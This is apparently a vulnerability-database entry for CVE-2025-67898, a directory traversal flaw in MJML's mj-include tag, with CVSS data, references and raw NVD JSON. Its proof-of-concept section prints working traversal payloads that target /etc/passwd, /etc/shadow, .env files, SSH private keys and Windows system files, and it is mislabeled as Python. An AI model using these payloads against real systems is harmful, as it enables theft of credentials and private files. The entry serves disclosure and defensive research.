CVE-2025-67898

Description

MJML through 4.18.0 allows mj-include directory traversal to test file existence and (in the type="css" case) read files. NOTE: this issue exists because of an incomplete fix for CVE-2020-12827.

CVSS Details

CVSS Score

4.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:L

Configurations (Affected Products)

No configuration data available.

MJML < 4.18.0

MJML <= 4.18.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2025-67898: MJML mj-include Directory Traversal -->
<!-- File existence detection and content reading via path traversal -->

<mjml>
  <mj-body>
    <!-- Detect file existence using error messages -->
    <mj-include path="../../../../etc/passwd" type="css" />
    
    <!-- Read sensitive files on Linux systems -->
    <mj-include path="../../../../.env" type="css" />
    <mj-include path="../../../../etc/hostname" type="css" />
    <mj-include path="../../../../root/.ssh/id_rsa" type="css" />
    
    <!-- Windows target examples -->
    <mj-include path="..\..\..\windows\win.ini" type="css" />
    <mj-include path="..\..\..\boot.ini" type="css" />
    
    <!-- Path traversal with different encoding -->
    <mj-include path="....//....//....//etc/passwd" type="css" />
    <mj-include path="....\/....\/....\/etc/passwd" type="css" />
  </mj-body>
</mjml>

<!-- Alternative PoC using mj-include without type attribute -->
<mjml>
  <mj-body>
    <!-- This may trigger file existence check -->
    <mj-include path="../../../../etc/shadow" />
  </mj-body>
</mjml>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-67898
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-67898
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-67898/
[4] VulDB https://vuldb.com/cve/CVE-2025-67898
[5] https://github.com/mjmlio/mjml/issues/3018

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-67898", "sourceIdentifier": "[email protected]", "published": "2025-12-14T22:15:36.660", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "MJML through 4.18.0 allows mj-include directory traversal to test file existence and (in the type=\"css\" case) read files. NOTE: this issue exists because of an incomplete fix for CVE-2020-12827."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:L", "baseScore": 4.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.4, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-36"}]}], "references": [{"url": "https://github.com/mjmlio/mjml/issues/3018", "source": "[email protected]"}]}}